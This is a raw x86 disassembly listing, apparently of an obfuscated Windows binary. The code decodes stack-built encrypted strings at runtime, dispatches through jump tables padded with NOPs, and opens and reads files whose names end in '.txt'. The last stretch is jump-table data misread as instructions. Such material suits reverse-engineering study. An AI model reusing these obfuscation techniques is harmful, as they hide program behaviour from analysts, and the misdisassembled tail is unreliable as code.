mov dword [esp + 0xc], 0x398e3b98
mov dword [esp + 0x10], 0x258b27a9
mov dword [esp + 0x14], 0x21b6238b
mov dword [esp + 0x18], 0x2d932f40
mov dword [esp + 0x1c], 0x29bb2bb0
mov dword [esp + 0x20], 0x15b917b6
mov dword [esp + 0x24], 0x11b913bd
mov dword [esp + 0x28], 0x1d8a1fb4
mov dword [esp + 0x2c], 0x19801bb7
mov dword [esp + 0x30], 0x59207b3
mov dword [esp + 0x34], 0x1ac03a8
mov dword [esp + 0x38], 0xf00
xor ecx, ecx
xor edx, edx
nop
nop
mov edi, ecx
and edi, 0x16
mov ebx, edx
xor ebx, 0x8b
add ebx, edi
xor bl, byte [esp + edx + 0xc]
add bl, 0x49
mov byte [esp + edx + 0xc], bl
inc edx
add ecx, 2
cmp edx, 0x30
jne 0x42de10
add esi, 2
mov ebx, dword [esp + 0x54]
movzx ecx, word [ebx]
test cx, cx
je 0x42de61
lea edx, [ebx + 2]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [esi], cx
add esi, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42de50
mov word [esi], 0
movzx ecx, word [esp + 0xc]
test cx, cx
je 0x42de91
lea edx, [esp + 0xe]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [esi], cx
add esi, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42de80
mov word [esi], 0
add ebp, 0x12
cmp dword [esp + 0x4c], 0xfffffff7
jge 0x42dea5
mov ebp, 0xffffffff
push ebp
call fcn.0040cbc0
add esp, 4
mov edi, eax
mov dword [esp + 0xc], 0x970299cb
mov dword [esp + 0x10], 0x93189509
mov dword [esp + 0x14], 0x8f1a910d
mov dword [esp + 0x18], 0x8b148d10
mov dword [esp + 0x1c], 0x8988
xor eax, eax
nop
nop
nop
nop
nop
nop
mov ecx, eax
add cl, 0x26
xor cl, byte [esp + eax + 0xc]
add cl, 0x42
mov byte [esp + eax + 0xc], cl
inc eax
cmp eax, 0x14
jne 0x42dee0
movzx ecx, word [ebx]
mov eax, edi
test cx, cx
mov ebp, dword [esp + 0x3c]
je 0x42df21
add ebx, 2
mov eax, edi
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [ebx]
add ebx, 2
test cx, cx
jne 0x42df10
mov word [eax], 0
movzx ecx, word [esp + 0xc]
test cx, cx
je 0x42df53
lea edx, [esp + 0xe]
mov esi, dword [esp + 4]
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42df40
jmp 0x42df57
mov esi, dword [esp + 4]
mov word [eax], 0
mov dword [esp + 0xc], 0x818687ee
mov dword [esp + 0x10], 0
xor eax, eax
mov cl, 0xde
movzx edx, byte [esp + eax + 0xc]
xor dl, cl
mov ch, 0x5a
sub ch, dl
mov byte [esp + eax + 0xc], ch
inc eax
dec cl
cmp eax, 8
jne 0x42df70
push 0
push 0
push 0xc00000
lea eax, [esp + 0x18]
push eax
push esi
push edi
push dword [esp + 0x11c]
call fcn.00425a40
add esp, 0x1c
mov ecx, dword [esp + 0x48]
and cl, 1
or cl, al
mov dword [esp + 0x48], ecx
jmp dword [0x44ee98]
push edi
call fcn.0040cbd0
add esp, 4
jmp dword [0x44eea0]
jmp dword [0x44eea0]
push esi
call fcn.0040cbd0
add esp, 4
mov eax, dword [case.0x42cf3b.165]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp eax
mov ecx, dword [esp + 0x80]
add ecx, 4
xor eax, eax
cmp ecx, 0xc
setne al
jmp dword [eax*4 + 0x44ee08]
jmp dword [0x44ee10]
push ebp
call fcn.0040cbd0
add esp, 4
jmp dword [0x44eebc]
jmp dword [0x44eebc]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp dword [0x44eec0]
mov eax, dword [esp + 0x48]
and al, 1
add esp, 0xf0
pop esi
pop edi
pop ebx
pop ebp
ret
int3
mov eax, dword [case.0x42d5e2.120]
nop
nop
jmp eax
lea eax, [ebp - 0x3c]
push 0
push eax
push dword [ebp - 0x28]
call fcn.00445f00
add esp, 0xc
not eax
shr eax, 0x1f
mov dword [ebp - 0x18], 0
jmp dword [eax*4 + 0x44eed0]
mov esi, dword [ebp - 0x3c]
lea eax, [esi + 1]
push eax
call fcn.0040cbc0
add esp, 4
push 0
push esi
mov dword [ebp - 0x34], eax
push eax
push dword [ebp - 0x28]
call fcn.00445fe0
add esp, 0x10
not eax
shr eax, 0x1f
mov dword [ebp - 0x18], 0
jmp dword [eax*4 + 0x44eed8]
mov eax, dword [case.0x42d5e2.109]
jmp eax
jmp dword [0x44efd4]
mov eax, dword [ebp - 0x3c]
mov ebx, dword [ebp - 0x34]
mov byte [ebx + eax], 0
inc dword [ebp - 0x38]
mov dword [ebp - 0x18], 0
nop
nop
nop
nop
nop
mov dword [ebp - 0x84], 0x2e322c2a
mov dword [ebp - 0x80], 0x22352036
mov word [ebp - 0x7c], 0xedcb
mov byte [ebp - 0x7a], 0x8e
mov dword [ebp - 0x79], 0
mov eax, 0xfcf900a1
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [ebp + eax + 0x306fedb]
mov edx, ecx
and edx, eax
add dl, dl
sub cl, dl
movzx ecx, cl
add ecx, eax
add cl, 0xdb
mov byte [ebp + eax + 0x306fedb], cl
inc eax
cmp eax, 0xfcf900b0
jne 0x42e3d0
movzx edx, byte [ebp - 0x84]
test dl, dl
je 0x42e440
lea ecx, [ebp - 0x84]
mov eax, ebx
jmp 0x42e417
movzx edx, byte [ecx]
test dl, dl
je 0x42e452
mov dh, byte [ebx]
test dh, dh
je 0x42e450
inc ebx
inc ecx
lea esi, [eax + 1]
cmp dh, dl
je 0x42e42a
mov eax, esi
mov ebx, esi
je 0x42e410
lea ecx, [ebp - 0x84]
jmp 0x42e410
mov eax, ebx
jmp 0x42e452
xor eax, eax
xor ecx, ecx
test eax, eax
sete cl
jmp dword [ecx*4 + 0x44eee0]
jmp dword [0x44eef0]
lea ebx, [eax + 0xa]
movzx ecx, byte [eax + 0xa]
xor edi, edi
test cl, cl
je 0x42e460
mov edx, ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp cl, 0x22
je 0x42e490
movzx ecx, byte [edx + 1]
inc edx
test cl, cl
jne 0x42e480
jmp 0x42e460
mov edi, edx
jmp dword [0x44eef0]
mov esi, edi
sub esi, ebx
xor eax, eax
cmp esi, 5
setb al
jmp dword [eax*4 + 0x44eef8]
xor eax, eax
cmp byte [edi - 1], 0x74
setne al
jmp dword [eax*4 + 0x44ef10]
xor eax, eax
cmp byte [edi - 2], 0x78
setne al
jmp dword [eax*4 + 0x44ef18]
xor eax, eax
cmp byte [edi - 3], 0x74
setne al
jmp dword [eax*4 + 0x44ef20]
xor eax, eax
cmp byte [edi - 4], 0x2e
setne al
jmp dword [eax*4 + 0x44ef28]
mov eax, esi
inc eax
mov dword [ebp - 0x10], eax
lea eax, [esi + esi + 2]
jns 0x42e4fc
mov eax, 0xffffffff
push eax
call fcn.0040cbc0
add esp, 4
mov dword [ebp - 0x24], eax
push edi
push ebx
push dword [ebp - 0x10]
push eax
call fcn.0040ed10
add esp, 0x10
lea eax, [ebp - 0x20]
push 0x60
push 3
push 0x120089
push eax
push dword [ebp - 0x24]
call fcn.00445bb0
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44ef30]
jmp dword [0x44efa0]
jmp dword [0x44ef3c]
lea eax, [ebp - 0x84]
push 0
push eax
push dword [ebp - 0x20]
call fcn.00445f00
add esp, 0xc
nop
nop
lea eax, [ebp - 0x84]
push 0
push eax
push dword [ebp - 0x20]
call fcn.00445f00
add esp, 0xc
jmp dword [0x44ef44]
mov edx, dword [ebp - 0x84]
test eax, eax
setns al
cmp edx, 0x100000
setb cl
and cl, al
movzx eax, cl
mov dword [ebp - 0x10], edx
jmp dword [eax*4 + 0x44ef48]
mov dword [ebp - 0x14], esi
jmp dword [0x44ef50]
push edx
mov esi, edx
call fcn.0040cbc0
add esp, 4
push 0
push esi
push eax
push dword [ebp - 0x20]
call fcn.00445fe0
mov edx, esi
add esp, 0x10
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push edx
call fcn.0040cbc0
add esp, 4
mov esi, eax
push 0
push dword [ebp - 0x84]
push eax
push dword [ebp - 0x20]
call fcn.00445fe0
mov edx, dword [ebp - 0x10]
add esp, 0x10
jmp dword [0x44ef58]
mov dword [ebp - 0x1c], esi
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44ef60]
xor edx, edx
mov ecx, dword [ebp - 0x24]
jmp 0x42e628
add ecx, 2
test ax, ax
je 0x42e639
mov esi, edx
movzx eax, word [ecx]
mov edx, ecx
cmp ax, 0x5c
je 0x42e620
mov edx, esi
jmp 0x42e620
mov edx, dword [ebp - 0x14]
xor eax, eax
test esi, esi
setne al
jmp dword [eax*4 + 0x44ef68]
xor esi, esi
xor eax, eax
jmp 0x42e66a
mov eax, esi
not eax
mov dword [ebp - 0x10], esi
mov esi, dword [ebp - 0x24]
and eax, esi
not esi
and esi, dword [ebp - 0x10]
sub esi, eax
sar esi, 1
inc esi
mov eax, edx
sub eax, esi
add eax, 0x1b
push eax
call fcn.0040cbc0
add esp, 4
mov dword [ebp - 0x2c], eax
mov ecx, esi
mov edx, dword [ebp - 0x14]
xor ecx, edx
mov dword [ebp - 0x90], esi
not esi
and esi, edx
add esi, esi
mov dword [ebp - 0x88], esi
mov dword [ebp - 0x8c], ecx
sub esi, ecx
mov dword [ebp - 0x14], esi
mov eax, dword [ebp - 0x30]
mov dword [eax], 0x84828459
mov dword [eax + 4], 0x897f818e
mov dword [eax + 8], 0x72543984
mov dword [eax + 0xc], 0x50956890
mov dword [eax + 0x10], 0x6e9e9676
mov dword [eax + 0x14], 0x24626c9c
mov word [eax + 0x18], 0x5e23
mov byte [eax + 0x1a], 0xa
mov word [eax + 0x1b], 0
mov esi, 0x251e004
mov dword [ebp - 0x10], 0xae1ffb
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [eax + esi - 0x251e004]
mov eax, edx
and eax, 0x27
xor eax, 0xe8cbe427
mov ecx, edx
xor ecx, 0xe8cbe427
or edx, 0xd8
and edx, ecx
or edx, eax
mov ecx, dword [ebp - 0x10]
and ecx, 0x8a0427
mov eax, esi
and eax, 0x2100018
or eax, ecx
mov ecx, edx
and ecx, eax
add eax, edx
add ecx, ecx
sub eax, ecx
add al, 0xec
mov ecx, dword [ebp - 0x30]
mov byte [ecx + esi - 0x251e004], al
mov eax, dword [ebp - 0x30]
inc esi
dec dword [ebp - 0x10]
cmp esi, 0x251e021
jne 0x42e6f0
add ebx, dword [ebp - 0x90]
movzx ecx, byte [eax]
mov esi, dword [ebp - 0x2c]
test cl, cl
je 0x42e77b
mov edx, dword [ebp - 0x38]
mov esi, dword [ebp - 0x2c]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [esi], cl
inc esi
movzx ecx, byte [edx]
inc edx
test cl, cl
jne 0x42e770
mov byte [esi], 0
mov edx, dword [ebp - 0x14]
test edx, edx
je 0x42e7a7
and edx, 3
je 0x42e7ab
xor ecx, ecx
movzx eax, byte [ebx]
cmp al, 1
sbb ebx, 0xffffffff
mov byte [esi + ecx], al
inc ecx
cmp edx, ecx
jne 0x42e78c
add esi, ecx
mov edx, dword [ebp - 0x14]
sub edx, ecx
mov ecx, esi
jmp 0x42e7ae
mov ecx, esi
jmp 0x42e7f4
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x8c]
sub eax, dword [ebp - 0x88]
cmp eax, 0xfffffffc
ja 0x42e7f4
movzx eax, byte [ebx]
cmp al, 1
sbb ebx, 0xffffffff
mov byte [esi], al
movzx eax, byte [ebx]
cmp al, 1
sbb ebx, 0xffffffff
mov byte [esi + 1], al
movzx eax, byte [ebx]
cmp al, 1
sbb ebx, 0xffffffff
mov byte [esi + 2], al
movzx eax, byte [ebx]
cmp al, 1
sbb ebx, 0xffffffff
lea ecx, [esi + 4]
mov byte [esi + 3], al
mov esi, ecx
add edx, 0xfffffffc
jne 0x42e7bf
mov byte [ecx], 0
mov ecx, dword [ebp + 8]
push dword [ebp - 0x84]
push dword [ebp - 0x1c]
mov esi, dword [ebp - 0x2c]
push esi
call fcn.0040d690
mov ecx, dword [ebp - 0x18]
and cl, 1
or cl, al
mov dword [ebp - 0x18], ecx
jmp dword [0x44ef70]
push esi
call fcn.0040cbd0
add esp, 4
mov esi, dword [ebp - 0x1c]
jmp dword [0x44ef78]
mov esi, dword [ebp - 0x1c]
jmp dword [0x44ef78]
jmp dword [0x44ef80]
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x84], 0x54554a4b
mov ecx, 0x6e
mov eax, 0x7bc7c891
nop
nop
nop
nop
mov dword [ebp - 0x10], eax
movzx eax, byte [ebp + ecx - 0xf2]
mov ebx, ecx
and ebx, eax
add ebx, ebx
lea esi, [ecx + eax]
add esi, 0x84383700
mov edx, dword [ebp - 0x10]
sub edx, eax
and edx, ebx
not ebx
and ebx, esi
sub ebx, edx
mov eax, ebx
not eax
or eax, 0x6ae6ead9
lea esi, [ebx + eax]
inc esi
mov eax, esi
and eax, 0xfd
mov edx, esi
and edx, 2
or esi, 2
imul esi, edx
xor edx, 2
imul edx, eax
xor ebx, 0xd9
add ebx, esi
add ebx, edx
mov eax, dword [ebp - 0x10]
inc bl
mov byte [ebp + ecx - 0xf2], bl
inc ecx
dec eax
cmp ecx, 0x72
jne 0x42e870
mov ecx, dword [0x452d58]
test ecx, ecx
je 0x42e918
mov edx, dword [ebp - 0x84]
xor esi, esi
mov ebx, dword [0x452d5c]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [ebx + esi*8], 0x7e776f1
je 0x42e910
inc esi
cmp ecx, esi
jne 0x42e900
jmp 0x42e918
mov eax, dword [ebx + esi*8 + 4]
cmp eax, edx
jne 0x42e91e
jmp dword [0x44efa0]
push dword [ebp - 0x1c]
push 1
push dword [0x452d60]
push eax
call fcn.004427e0
add esp, 0x10
jmp dword [0x44efa0]
mov ecx, 0xbda80042
inc edx
add byte [edx - 0x1affbd47], ch
mov ecx, 0xb9bb0042
inc edx
add byte [ebp + edi*4 - 0x45c1ffbe], bh
inc edx
add byte [edi - 0x46], dl
inc edx
add byte [eax - 0x46], dl
inc edx
add byte [eax - 0x46], dl
inc edx
add byte [edi - 0x46], dl
inc edx
add byte [eax - 0x46], dl
inc edx
add al, dl
mov ecx, 0xba5e0042
inc edx
add byte [eax - 0x43], ah
inc edx
add byte [edi - 0x43], ah
inc edx
add byte [eax - 0x43], ah
inc edx
add byte [eax - 0x43], dl
inc edx
add al, dl
mov ecx, 0xba700042
inc edx
add al, dl
mov ecx, 0xbaa20042
inc edx
add byte [ecx], cl
mov esp, 0xbc120042
inc edx
add byte [esp + edi*4], ch
inc edx
add byte [esp + edi*4], dh
inc edx
add byte [esi - 0x3effbd44], dh
mov esp, 0xbe520042
inc edx
add byte [ebp - 0x42], bl
inc edx
add byte [ebx + ecx*8 - 0x3587ffbe], bl
inc edx
add byte [eax - 0x36], bh
inc edx
add byte [edx], dl
int 0x42
add byte [edx], ch
int 0x42
add byte [ebp - 0x33], ch
inc edx
add byte [esi + ecx*8 + 0x42], ch
add byte [ebp + 0x200042ce], al
iretd
rol byte [edx], 1
inc edx
iretd
mov byte [edx], 0x43
mov byte [edx], 0x1e
mov byte [edx], 0x8c
mov byte [edx], 0x27
mov byte [edx], 0xc9
iretd
les eax, [edx]
lds eax, es:[edx]
out 196, al
inc edx
add bl, dh
mov esi, 0xbf020042
inc edx
add byte [edx], al
mov edi, 0xbf020042
inc edx
add byte [eax], dl
mov edi, 0xbee00042
inc edx
add byte [eax], dh
mov edi, 0xbf300042
inc edx
add byte [eax], dh
mov edi, 0xbf300042
inc edx
add byte [eax - 0x41], al
inc edx
add byte [eax - 0x7fffbd41], al
mov edi, 0xbf820042
inc edx
add byte [eax - 0xaffbd41], al
mov edi, 0xbf930042
inc edx
add byte [edi - 0x41], ch
mov edi, 0xbfc90042
inc edx
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add dl, cl
invalid
inc edx
mov edi, 0xbfc90042
inc edx
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add dl, cl
rol byte [edx], cl
add al, 0x42
add byte [eax - 64], dl
inc edx
add byte [eax - 0x40], dl
inc edx
add byte [eax - 0x40], dl
inc edx
add byte [eax - 0x40], dl
inc edx
add byte [edx - 0x40], dl
inc edx
add byte [eax + eax*8 + 0x42], dh
add byte [eax], dh
rol byte [edx], 0x80
rol byte [edx], 0x3b
rol byte [edx], 0x8e
rol byte [edx], 0xb2
rol byte [edx], 0x20
rol dword [edx], 0xf7
rol byte [edx], 0x48
rol dword [edx], 0x20
rol dword [edx], 0x56
rol dword [edx], 0x5f
rol dword [edx], 0x97
rol byte [edx], 0xa2
rol byte [edx], 0xb0
rol byte [edx], 0xb0
rol byte [edx], 0xe0
mov esi, 0xc0b00042
inc edx
add bh, ch
les eax, [edx]
and ch, al
inc edx
add byte [eax], dl
lds eax, [edx]
cld
les eax, [edx]
adc ch, al
inc edx
add byte [eax], ah
lds eax, [edx]
and ch, al
inc edx
add byte [eax], ah
lds eax, [edx]
invalid